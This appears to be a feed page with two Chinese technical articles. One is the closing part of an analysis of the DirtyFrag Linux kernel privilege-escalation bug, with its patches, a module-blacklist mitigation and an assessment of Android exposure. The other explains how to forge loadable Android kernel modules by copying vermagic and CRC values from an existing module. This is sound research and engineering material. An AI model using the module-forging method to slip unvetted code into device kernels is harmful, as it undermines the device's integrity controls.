+		} else if (!skb_has_frag_list(skb) &&
+			   !skb_has_shared_frag(skb)) {
			nfrags = skb_shinfo(skb)->nr_frags;
			nfrags++;

发送路径上增加标记：

+			if (!(flags & MSG_NO_SHARED_FRAGS))
+				skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;

这个补丁的思路比单纯在ESP里无脑skb_cow_data()更克制：只要frag来自外部共享页，就不允许它走原地解密快路径。

RxRPC分支的补丁更短。原代码只检查skb_cloned(skb)，但从splice()来的非线性skb不一定是cloned。补丁把skb->data_len也纳入检查，只要有非线性数据，就先复制。

-			    skb_cloned(skb)) {
+			    (skb_cloned(skb) || skb->data_len)) {
				/* Unshare the packet so that it can be
				 * modified by in-place decryption.
				 */

临时缓解可以禁用相关模块：

printf'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
	> /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null

这只是临时措施。生产环境最终还是要跟进发行版内核更新，尤其要确认ESP和RxRPC两个分支是否都已经回补。

总结

DirtyFrag是一个页缓存引用边界被网络协议栈打穿的逻辑漏洞。用户态通过splice()把只读文件页带进skb->frag，内核协议代码又在没有隔离的情况下原地解密，于是“只读文件页”变成了“可被内核写的目的buffer”。

那么，这个洞是否可以作用于安卓实现LPE提权？

以安卓GKI arm64配置为例，虽然XFRM和ESP需要的内核配置：CONFIG_XFRM_USER=y、CONFIG_INET_ESP=y、CONFIG_INET6_ESP=y在GKI内核中都开启了。但问题是ESP链需要能配置XFRM状态，核心权限是CAP_NET_ADMIN。这在安卓上就不行了，普通用户设备可取不了这个权限。还有GKI配置里能看到CONFIG_NAMESPACES=y，但CONFIG_USER_NS和CONFIG_NET_NS在该配置中没有打开，CONFIG_PID_NS也明确关闭；再叠加应用沙箱、SELinux和seccomp，普通App不能按发行版那套方式创建可用的网络命名空间并配置XFRM。

一句话总结就是：就算把用户态代码交叉编译成安卓ELF，普通App进程也很难走到DirtyFrag需要的RxRPC触发面。

参考资料

1. DirtyFrag仓库：https://github.com/V4bel/dirtyfrag

2. DirtyFrag官方技术说明：https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md

3. ESP修复提交：https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4

4. ESP补丁邮件：https://lore.kernel.org/all/afLDKSvAvMwGh7Fy@v4bel/

5. RxRPC补丁邮件：https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/

6. CopyFail2仓库：https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo

7. Android GKI arm64配置：https://android.googlesource.com/kernel/common/+/refs/heads/android-mainline/arch/arm64/configs/gki_defconfig

8. Android seccomp说明：https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html

9. Android SELinux说明：https://source.android.com/docs/security/features/selinux

跳转微信打开

安卓GKI内核KPM加载器开发踩坑实战

本文详细记录了把.o变成.ko在安卓系统上完整加载的全过程探索，一起来感受ELF格式探索的奇妙之旅

作者：shixuan

经作者授权，文章重排优化后在[软件安全与逆向分析]公众号发布

目录

1 问题起点与ELF边界

有一段用户空间代码需要在内核里跑。正常做法是用内核构建系统进行编译生成ko模块，但那样得维护一套Kbuild，而且代码里的用户空间惯用法改起来很痛苦。于是就冒出一个念头：能不能直接把编译好的二进制文件直接"转"成ko模块？

直觉上这应该可行——反正.ko就是ELF可重定位文件（ET_REL），普通的 .o 编译产物也是 ET_REL。格式骨架一样，差的无非是元数据。

真的上手之后，才发现坑比想象中多得多。

ELF类型和转换边界

先理清几个基本概念。ELF 文件有四种类型：

关键认知：so文件是 ET_DYN，ko文件是ET_REL。它们的ELF类型就不同。

so不能直接转ko的原因

.so文件是 ET_DYN（动态链接库），结构上和.ko有本质差异：

1. 内核直接拒绝

内核加载模块的第一步，就是检查ELF类型——必须是ET_REL，否则直接返回-ENOEXEC。ET_DYN的.so连第一道门都过不去。这个检查在 kernel/module.c的elf_validity_check() 中：

// kernel/module.c: elf_validity_check()
if (memcmp(info->hdr->e_ident, ELFMAG, SELFMAG) != 0
    || info->hdr->e_type != ET_REL         // ← 只接受 ET_REL
    || !elf_check_arch(info->hdr)
    || info->hdr->e_shentsize != sizeof(Elf_Shdr))
return -ENOEXEC;

2. 动态链接段太多

.so里塞满了动态链接基础设施：.dynamic, .dynsym, .dynstr, .hash, .gnu.hash, .got, .got.plt, .plt.got, .rel.dyn, .rel.plt, .interp。

这些段包含了各种不必要的信息，对内核模块加载器毫无意义，必须全部删除。

3. 符号表带了版本后缀

.so 的符号名长这样：

puts@GLIBC_2.2.5
malloc@GLIBC_2.0

内核导出符号可没有这些@后缀。用带后缀的名字去查内核符号表，内核在 simplify_symbols() 里调用 resolve_symbol_wait() 做严格的 strcmp 比对，当然查不到。

4. PLT/GOT引入的重定位一团乱

.so 里的函数调用默认走 PLT（过程链接表），会生成大量 PLT 相关的重定位条目。内核加载器内部的 apply_relocations() 遍历所有 SHT_RELA 段逐个处理重定位，这些 PLT 重定位条目会被逐一处理，但处理逻辑和用户空间 ld.so 完全不同，结果就是错位。

结论：用 gcc -c -fPIC 编译成 .o（ET_REL），直接从 ET_REL 转 ET_REL。

2 内核模块加载链路

在讲具体坑之前，先沿着内核源码（以 Linux 5.10 为例）把模块加载的完整路径走一遍。后面所有坑的根因都能在这条链路上找到。

加载前校验与架构段处理

第一步：ELF 合法性校验 —— elf_validity_check()

// kernel/module.c
staticintelf_validity_check(struct load_info *info)
{
if (info->len < sizeof(*(info->hdr)))
return -ENOEXEC;
if (memcmp(info->hdr->e_ident, ELFMAG, SELFMAG) != 0
        || info->hdr->e_type != ET_REL          // ① 必须是 ET_REL
        || !elf_check_arch(info->hdr)            // ② 架构必须匹配
        || info->hdr->e_shentsize != sizeof(Elf_Shdr))
return -ENOEXEC;
// ③ 段头表必须在文件范围内
if (info->hdr->e_shoff >= info->len
        || (info->hdr->e_shnum * sizeof(Elf_Shdr) >
            info->len - info->hdr->e_shoff))
return -ENOEXEC;
    info->sechdrs = (void *)info->hdr + info->hdr->e_shoff;
// ... 后续还会校验段名字符串表索引的有效性
}

三项硬性检查：ELF 魔数、ET_REL 类型、架构匹配。任何一个不过就直接 -ENOEXEC。这就是为什么 .so 不行，同时也意味着我们不能修改 ELF header 把 ET_DYN 改成 ET_REL 了事——架构检查 elf_check_arch() 在 ARM64 上还会验证段结构的完整性。

第二步：内核元数据校验 —— check_modinfo()

// kernel/module.c
staticintcheck_modinfo(struct module *mod, struct load_info *info, int flags)
{
constchar *modmagic = get_modinfo(info, "vermagic");  // 从 .modinfo 提取
int err;
if (flags & MODULE_INIT_IGNORE_VERMAGIC)
        modmagic = NULL;
if (!modmagic) {
        err = try_to_force_load(mod, "bad vermagic");  // 没有 vermagic → 污染内核
if (err)
return err;
    } elseif (!same_magic(modmagic, vermagic, info->index.vers)) {
        pr_err("%s: version magic '%s' should be '%s'\n",
               info->name, modmagic, vermagic);         // vermagic 不匹配 → 直接拒载
return -ENOEXEC;
    }
if (!get_modinfo(info, "intree")) {                  // 检查是否为树内模块
if (!test_taint(TAINT_OOT_MODULE))
            pr_warn("%s: loading out-of-tree module taints kernel.\n", mod->name);
        add_taint_module(mod, TAINT_OOT_MODULE, LOCKDEP_STILL_OK);
    }
    check_modinfo_retpoline(mod, info);                  // 检查 retpoline
// ... staging, livepatch 等检查
}

vermagic 的比对逻辑在 same_magic() 中：

// kernel/module.c
staticinlineintsame_magic(constchar *amagic, constchar *bmagic,
bool has_crcs){
if (has_crcs) {
        amagic += strcspn(amagic, " ");
        bmagic += strcspn(bmagic, " ");
    }
returnstrcmp(amagic, bmagic) == 0;    // ← 严格字符串比对
}

如果内核启用了 CONFIG_MODVERSIONS，会跳过 vermagic 里第一个空格之前的内容再做比对（因为那部分是 UTS_RELEASE）。否则就是完整的 strcmp。

第三步：架构特定处理 —— module_frob_arch_sections()

在分配模块内存之前，内核调用架构钩子检查和预处理段结构。ARM64 的实现（arch/arm64/kernel/module-plts.c）尤其值得关注：

// arch/arm64/kernel/module-plts.c
intmodule_frob_arch_sections(Elf_Ehdr *ehdr, Elf_Shdr *sechdrs,
char *secstrings, struct module *mod){
unsignedlong core_plts = 0;
unsignedlong init_plts = 0;
    Elf_Shdr *tramp = NULL;
int i;
for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp(secstrings + sechdrs[i].sh_name, ".plt"))
            mod->arch.core.plt_shndx = i;
elseif (!strcmp(secstrings + sechdrs[i].sh_name, ".init.plt"))
            mod->arch.init.plt_shndx = i;
elseif (!strcmp(secstrings + sechdrs[i].sh_name,
".text.ftrace_trampoline"))
            tramp = sechdrs + i;
    }
if (!mod->arch.core.plt_shndx || !mod->arch.init.plt_shndx) {
        pr_err("%s: module PLT section(s) missing\n", mod->name);
return -ENOEXEC;         // ← .plt 和 .init.plt 缺一不可
    }
// ... PLT 条目预分配逻辑
}

ARM64 的模块链接脚本同样印证了这一点（arch/arm64/include/asm/module.lds.h）：

// arch/arm64/include/asm/module.lds.h
SECTIONS {
    .plt 0 : { BYTE(0) }
    .init.plt 0 : { BYTE(0) }
    .text.ftrace_trampoline 0 : { BYTE(0) }
}

内核构建工具链生成的 .ko 天然带这三个段（大小可以为 0，内容为 1 字节占位）。自己构建的 .ko 如果缺少这些段，ARM64 的 module_frob_arch_sections 直接返回 -ENOEXEC。x86_64 没有这个硬性要求。

符号解析、重定位与初始化

第四步：符号解析 —— simplify_symbols()

// kernel/module.c
staticintsimplify_symbols(struct module *mod, conststruct load_info *info)
{
    Elf_Shdr *symsec = &info->sechdrs[info->index.sym];
    Elf_Sym *sym = (void *)symsec->sh_addr;
conststructkernel_symbol *ksym;
for (i = 1; i < symsec->sh_size / sizeof(Elf_Sym); i++) {
constchar *name = info->strtab + sym[i].st_name;
switch (sym[i].st_shndx) {
case SHN_UNDEF:                              // ← 关键：未定义符号
            ksym = resolve_symbol_wait(mod, info, name);
if (ksym && !IS_ERR(ksym)) {
                sym[i].st_value = kernel_symbol_value(ksym);
break;                                // 在内核符号表中找到了
            }
if (!ksym && ELF_ST_BIND(sym[i].st_info) == STB_WEAK)
break;                                // 弱符号，允许不存在
            ret = PTR_ERR(ksym) ?: -ENOENT;
            pr_warn("%s: Unknown symbol %s (err %d)\n",
                    mod->name, name, ret);
break;                                    // 找不到 → 失败
case SHN_ABS:
break;                                    // 绝对符号，不需要重定位
default:
            secbase = info->sechdrs[sym[i].st_shndx].sh_addr;
            sym[i].st_value += secbase;               // 段内符号，加上段基址
break;
        }
    }
return ret;
}

核心逻辑：

• shndx == SHN_UNDEF

  （值为 0）→ 去内核符号表搜索，找到就把 st_value 填成内核地址

• shndx == SHN_ABS

   → 已经是绝对值，不动

• 其他 → 段内定义的符号，st_value 加上所在段的加载基址

所以 UND 符号的 shndx 必须是 0。如果你在转换时把它改成了 SHN_ABS（0xFFF1），它就不会进入 resolve_symbol_wait 分支，内核不会去查符号表，外部引用全部悬空。

第五步：重定位处理 —— apply_relocations()

// kernel/module.c
staticintapply_relocations(struct module *mod, conststruct load_info *info)
{
int err = 0;
for (i = 1; i < info->hdr->e_shnum; i++) {
unsignedint infosec = info->sechdrs[i].sh_info;  // 目标段索引
if (infosec >= info->hdr->e_shnum)
continue;
if (!(info->sechdrs[infosec].sh_flags & SHF_ALLOC))
continue;                                     // 跳过未分配段
if (info->sechdrs[i].sh_type == SHT_REL)
            err = apply_relocate(info->sechdrs, info->strtab,
                                 info->index.sym, i, mod);
elseif (info->sechdrs[i].sh_type == SHT_RELA)
            err = apply_relocate_add(info->sechdrs, info->strtab,
                                     info->index.sym, i, mod);  // ← 处理 RELA
if (err < 0)
break;
    }
return err;
}

这段逻辑遍历所有段头，找出类型为 SHT_RELA 的段（重定位段），调用架构特定的 apply_relocate_add() 逐条处理。

.rela.gnu.linkonce.this_module 就是在这里被处理的。内核遍历到这个段时，把 init_module 和 cleanup_module 的最终地址写入 .gnu.linkonce.this_module 段内对应偏移处。这些偏移正是 struct module 中 init/exit 函数指针的位置。

第六步：发起初始化 —— do_init_module()

// kernel/module.c
static noinline intdo_init_module(struct module *mod)
{
int ret = 0;
structmod_initfree *freeinit;
    freeinit = kmalloc(sizeof(*freeinit), GFP_KERNEL);
    freeinit->module_init = mod->init_layout.base;
    do_mod_ctors(mod);
if (mod->init != NULL)                     // ← 关键判断
        ret = do_one_initcall(mod->init);       // 通过函数指针调用
if (ret < 0)
goto fail_free_freeinit;
    mod->state = MODULE_STATE_LIVE;
// ... uevent, async 同步, 释放 init 内存
}

内核调用 mod->init 这个函数指针。这个指针的值是在第五步的重定位处理中填入的。如果 .rela.gnu.linkonce.this_module 段不存在或偏移量不正确，mod->init 就是 NULL，内核跳过整个初始化流程，不报任何错误。

同样，模块卸载时（kernel/module.c 的 free_module() 路径）：

// kernel/module.c: 模块卸载路径
if (mod->exit != NULL)
    mod->exit();

mod->exit 也是通过重定位填入的。两个函数指针，两条重定位，缺一不可。

CRC版本校验

第七步：CRC 校验 —— check_version()

如果内核开启了 CONFIG_MODVERSIONS，每个外部符号引用都要比对 CRC：

// kernel/module.c
staticintcheck_version(conststruct load_info *info,
constchar *symname,
struct module *mod,
const s32 *crc){
    Elf_Shdr *sechdrs = info->sechdrs;
unsignedint versindex = info->index.vers;
structmodversion_info *versions;
if (!crc)
return1;                          // 内核没提供 CRC，放行
if (versindex == 0)
return try_to_force_load(mod, symname) == 0;  // 模块没 __versions 段
    versions = (void *)sechdrs[versindex].sh_addr;
    num_versions = sechdrs[versindex].sh_size
        / sizeof(struct modversion_info);
for (i = 0; i < num_versions; i++) {
if (strcmp(versions[i].name, symname) != 0)
continue;
if (versions[i].crc == crcval)
return1;                      // CRC 匹配
goto bad_version;                  // 符号名匹配但 CRC 不匹配 → 失败
    }
    pr_warn_once("%s: no symbol version for %s\n", info->name, symname);
return1;                              // 没找到对应条目，警告但放行
}

模块的 __versions 段存储了 struct modversion_info 数组（64 字节每项：CRC + 符号名）。内核逐个比对 CRC 值，不匹配则加载失败。其中 module_layout 这个符号的 CRC 实质上代表了整个 struct module 的结构签名。

以上就是模块从 insmod 到 init 执行经过的全部内核关卡。接下来看转换过程中的具体坑。

3 离线转换流水线

搞清楚内核加载路径后，我设计了两阶段流水线：

开发机                              目标设备
--------                            ---------
.o 文件                             reference.ko (任意已有模块)
  │                                     │
  ▼                                     ▼
[离线转换] ──► .ko (带占位值) ──► [原位修补] ──► .ko (可加载)

阶段一（离线转换）在开发机上完成 ELF 结构层面的转换：删掉不需要的段、保留需要的段、补充内核元数据段、重新索引符号和重定位。所有不确定的内核参数填入占位值。

阶段二（原位修补）在目标设备上运行。找一个目标设备上已有的、能正常加载的 .ko 作为"参考"，从中提取所有内核特定参数，覆写占位值。

这个设计的核心思想是：转换工具不需要知道目标内核的任何细节。vermagic、struct module 大小、字段偏移、CRC——全部由参考 .ko 提供。

段、符号与重定位

以下按排查难度排序。

坑 1：段的白名单与黑名单

转换的第一步：决定哪些段保留、哪些丢弃。

必须丢弃的段：

• 所有动态链接相关的（.dynamic, .dynsym, .dynstr, .hash, .gnu.hash 等共十余个段）

• GOT/PLT 相关段（.got, .got.plt, .plt.got, .plt.sec）

• 原始的重定位段（.rel.*, .rela.*）——因为段索引已变，旧的重定位条目引用的段索引失效，必须删除后基于新段表重新生成

必须保留的段：

• .text

  , .data, .rodata, .bss（基本代码和数据）

• .init_array

  , .eh_frame 等辅助段

• .comment

  , .note.* 等信息段

ARM64 上必须额外创建的空段：

从上面 module_frob_arch_sections() 的源码可以看到，ARM64 直接按段名查找 .plt 和 .init.plt，找不到就返回 -ENOEXEC。ARM64 的链接脚本 .lds.h 也明确定义了这三个空段。所以转换阶段必须生成：

• .plt

  ：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC

• .init.plt

  ：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC

• .text.ftrace_trampoline

  ：12 字节，SHT_NOBITS，SHF_EXECINSTR | SHF_ALLOC

缺任何一个，内核直接拒载，错误信息只是 "module PLT section(s) missing"，不给具体缺少哪个。

原始重定位段必须删除。删除了部分段、重构了段索引后，旧的重定位条目引用的段索引已失效。如果新旧重定位段并存（比如两套 .rela.text），加载器在处理第二条重定位时发现目标位置已有非零值，会报 "Invalid relocation target, existing value is nonzero"。

坑 2：ET_REL 的地址是段相对的，库给你的可能是绝对的

ET_REL 文件里的地址全部是段相对的：

• 符号的 st_value = 该符号在其所属段内的偏移

• 重定位的 r_offset = 在目标段内的偏移位置

比如符号的 value 应该是类似 0x10 的值（"函数入口在 .text 段偏移 0x10 处"），绝对不是 0x7f0000001000 这样的虚拟地址。

对应到内核源码，simplify_symbols() 里的 default 分支：

default:
    secbase = info->sechdrs[sym[i].st_shndx].sh_addr;  // 段的加载基址
    sym[i].st_value += secbase;                          // st_value + 段基址 = 绝对地址

内核假设 st_value 是段相对偏移，然后加上段加载基址得到最终地址。如果你的 st_value 已经是个绝对 VA，再加上段基址就飞到九霄云外了。

但 ELF 解析库在处理 ET_REL 时，某些 API 返回的却是绝对虚拟地址——内部走的是处理 ET_DYN/ET_EXEC 的逻辑分支。

因此需要把所有符号值和重定位偏移都显式减掉所在段的虚拟基地址，不能依赖"ET_REL 的段 VA 都是 0"的假设。

坑 3：重定位类型里藏着架构前缀

ELF 解析库（这里用的是 LIEF）在表示重定位类型时，把架构信息编码进了类型值的高位：

如果直接把 LIEF 编码的类型值写回 ELF 的 r_info 字段，接收方按标准解码会得到完全不同的数字。用掩码 0x7FFFFFF（低 27 位，对应 ELF 规范中 r_info 的低位布局）剥离架构前缀即可。

坑 4：UND 符号不要碰

内核模块引用的外部符号——_printk, kmalloc, kfree——在原文件里 shndx = 0（SHN_UNDEF）。

回顾上面的 simplify_symbols() 源码：

case SHN_UNDEF:
    ksym = resolve_symbol_wait(mod, info, name);  // 只有 shndx==0 才走这里
if (ksym && !IS_ERR(ksym)) {
        sym[i].st_value = kernel_symbol_value(ksym);
break;
    }

内核根据 shndx == SHN_UNDEF 来判断是否需要在全局符号表里搜索。SHN_UNDEF 的值就是 0。

在转换过程中，段的增删导致段索引需要重新映射。写映射逻辑时，很容易写出：

if (orig_shndx > 0 && orig_shndx < SHN_ABS)
    映射到新段索引
else
    shndx = SHN_ABS  // ← shndx==0 落入了这个分支！

shndx = 0 被改写成了 SHN_ABS（0xFFF1）。内核看到 SHN_ABS，直接走 break 分支，st_value 保持不变——对 UND 符号来说就是 0。外部调用全部悬空，内核不会去符号表里找。

教训：shndx 为 0 时必须原样保持 0。一个 if (orig_shndx == 0) 的提前判断就够。

坑 5：空名字的符号不一定是垃圾

这是最反直觉的一个坑。

写符号过滤逻辑时，很自然会跳过"名字为空、value 为 0、size 为 0"的符号。但有一种叫 STT_SECTION 的符号类型——表示"段本身"。它的名字确实是空的，value 也可以是 0，但它是重定位的重要目标。

什么时候重定位会引用STT_SECTION

• .rodata

   里的字符串常量 → 重定位需要 .rodata 段的基址

• .text

   里的异常处理表（eh_frame）→ 重定位需要 .text 段的基址

• 任何需要段基址作为重定位计算基准的地方

这些重定位通过 shndx 字段关联到 STT_SECTION 符号，再由 STT_SECTION 符号的 shndx 找到目标段，最终由 simplify_symbols() 的 default 分支加上段基址。

如果 STT_SECTION 符号被当成无效条目清理掉了，引用了它的重定位条目就找不到目标，要么指向符号 0（空符号），要么符号索引越界。

教训：符号的生死不能单靠名字和 value 判断。类型为 STT_SECTION 的必须保留，并建立原始段索引到新符号索引的映射表。

坑 6：符号版本后缀

从 .so 文件提取符号时（即使最终不用 .so 做输入，这个坑也值得记），符号名可能带版本后缀：

puts@GLIBC_2.2.5
__cxa_atexit@GLIBC_2.2.5

这是 GNU 符号版本控制机制。内核的 resolve_symbol_wait() 做的是直接 strcmp，@GLIBC_2.2.5 这种后缀当然对不上。在构建输出符号表时，查找 @ 字符并截断就行。

坑 7：vermagic 精确匹配

从 check_modinfo() 和 same_magic() 的源码可以看出，vermagic 做的是严格字符串比对（或跳过第一个空格前缀后的比对）。vermagic 的构成由 include/linux/vermagic.h 的宏拼装决定：

// include/linux/vermagic.h#define VERMAGIC_STRING                         \
    UTS_RELEASE " "                             \
    MODULE_VERMAGIC_SMP MODULE_VERMAGIC_PREEMPT \
    MODULE_VERMAGIC_MODULE_UNLOAD MODULE_VERMAGIC_MODVERSIONS \
    MODULE_ARCH_VERMAGIC                        \
    MODULE_RANDSTRUCT